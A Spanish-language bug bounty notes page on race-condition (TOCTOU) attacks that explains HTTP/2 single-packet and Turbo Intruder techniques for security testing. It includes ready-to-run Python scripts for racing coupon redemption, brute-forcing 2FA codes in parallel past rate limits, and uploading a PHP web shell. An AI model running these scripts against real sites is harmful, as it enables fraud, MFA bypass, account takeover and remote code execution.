Race Conditions (TOCTOU)

Time-Of-Check-Time-Of-Use.

Race Conditions (TOCTOU)

Time-Of-Check-Time-Of-Use. Condiciones de carrera que explotan la ventana entre validación y uso de un recurso.

El HTTP/2 single-packet attack (James Kettle, DEF CON 2023) revolucionó la explotación de race conditions al permitir enviar múltiples requests en un solo paquete TCP, eliminando el delay de red.

Tipos de Race Conditions

TipoDescripciónEjemplo
Classic TOCTOUCheck → Use con ventana temporalRetiro bancario validado dos veces
Race via single-packetMúltiples requests en un solo paquete TCP (HTTP/2)Cupón canjeado 20 veces simultáneamente
Limit-overrunSuperar límite de rate en ventana pequeña100 transferencias antes de que el balance se actualice
Time-basedExplotar timing de expiraciónToken de reset usado tras expirar

Single-Packet Attack (HTTP/2)

Técnica de Kettle (PortSwigger, 2023). En HTTP/2, múltiples requests se envían en un solo frame TCP. Llegan al backend simultáneamente, antes de que cualquier respuesta se procese.

import httpx, asyncio

async def race_request(url, payload, n=20):
    async with httpx.AsyncClient(http2=True) as client:
        reqs = [client.post(url, json=payload) for _ in range(n)]
        return await asyncio.gather(*reqs)

# 20 requests enviadas en un solo paquete
results = asyncio.run(race_request(
    "https://target.com/cart/coupon",
    {"code": "WELCOME50"}
))

Turbo Intruder (HTTP/1.1 race)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=100,
                           pipeline=False)
    for i in range(20):
        engine.queue(target.req, i)
        engine.queue(target.req, i)

def handleResponse(req, interesting):
    if req.status != 404:
        table.add(req)

Dónde buscar Race Conditions

Cupones y descuentos

  • Aplicar mismo cupón N veces simultáneamente
  • Canjear gift card múltiples veces
  • Stackear cupones incompatibles

Pagos y transacciones

  • Retirar saldo dos veces antes de que se actualice
  • Transferir fondos en paralelo (double-spend)
  • Comprar con saldo insuficiente

Cuentas y autenticación

  • Crear misma cuenta dos veces (duplicación)
  • Cambiar email simultáneamente → dos emails vinculados
  • OTP/MFA race → validar código tras expirar
  • Password reset token reuse

Votación y reputación

  • Votar múltiples veces en encuesta
  • Like/unlike race
  • Follow/unfollow simultáneo

Límites de rate

  • Enviar 1000 requests en vez de 10 (rate limit window bypass)
  • Forgot password email flood

Race en File Upload

import requests, threading

def upload_file():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post('https://target.com/upload', files=files, cookies=sess)

# Subir mismo archivo múltiples veces
threads = [threading.Thread(target=upload_file) for _ in range(10)]
for t in threads: t.start()

Subir múltiples archivos simultáneamente antes de que el antivirus/verificación analice todos.

Race en autenticación (MFA/OTP bypass)

import requests, threading

def try_code(code):
    requests.post('https://target.com/2fa/verify',
                  json={'code': code, 'token': otp_token}, cookies=sess)

# Probar 100 códigos en paralelo antes del rate limit
codes = [f"{i:06d}" for i in range(100)]
threads = [threading.Thread(target=try_code, args=(c,)) for c in codes]
for t in threads: t.start()

Race en IDOR

# Cambiar email a dos valores distintos simultáneamente
# El servidor puede aprobar ambos → cuenta vinculada a dos emails
req1 = {"email": "attacker1@evil.com"}
req2 = {"email": "attacker2@evil.com"}

Herramientas

HerramientaUso
Turbo IntruderBurp extension para race conditions (HTTP/1.1 pipeline)
HTTP/2 single-packetBurp 2023+ soporta race nativo con h2
RacePyScript Python para race con asyncio + httpx
CaidoAlternativa a Burp con soporte race
Custom asynciohttpx + http2 + asyncio.gather

CVEs recientes

CVEAñoDescripción
CVE-2025-27552025WooCommerce coupon race → productos gratis
CVE-2024-32962024Sentry auth token race condition
CVE-2024-34562024Stripe payment race (double-spend)
CVE-2023-38272023WordPress plugin race → privilege escalation

Chaining

Race en cupón → descuento infinito → P1 Critical
Race en OTP → MFA bypass → ATO → P1 Critical  
Race en email change → ATO → P1 Critical
Race en file upload → RCE → P1 Critical
Race en retiro → double-spend → pérdida financiera

Relacionado

  • Business Logic — cupones, descuentos, pagos
  • IDOR — race en cambio de email/datos
  • Autenticacion Web — race en MFA, OTP, password reset
  • File Upload — race en subida simultánea
  • SSRF — race en time-based SSRF detection
  • Metodologia Bug Bounty
  • Claude-BugHunter (skill hunt-race-condition)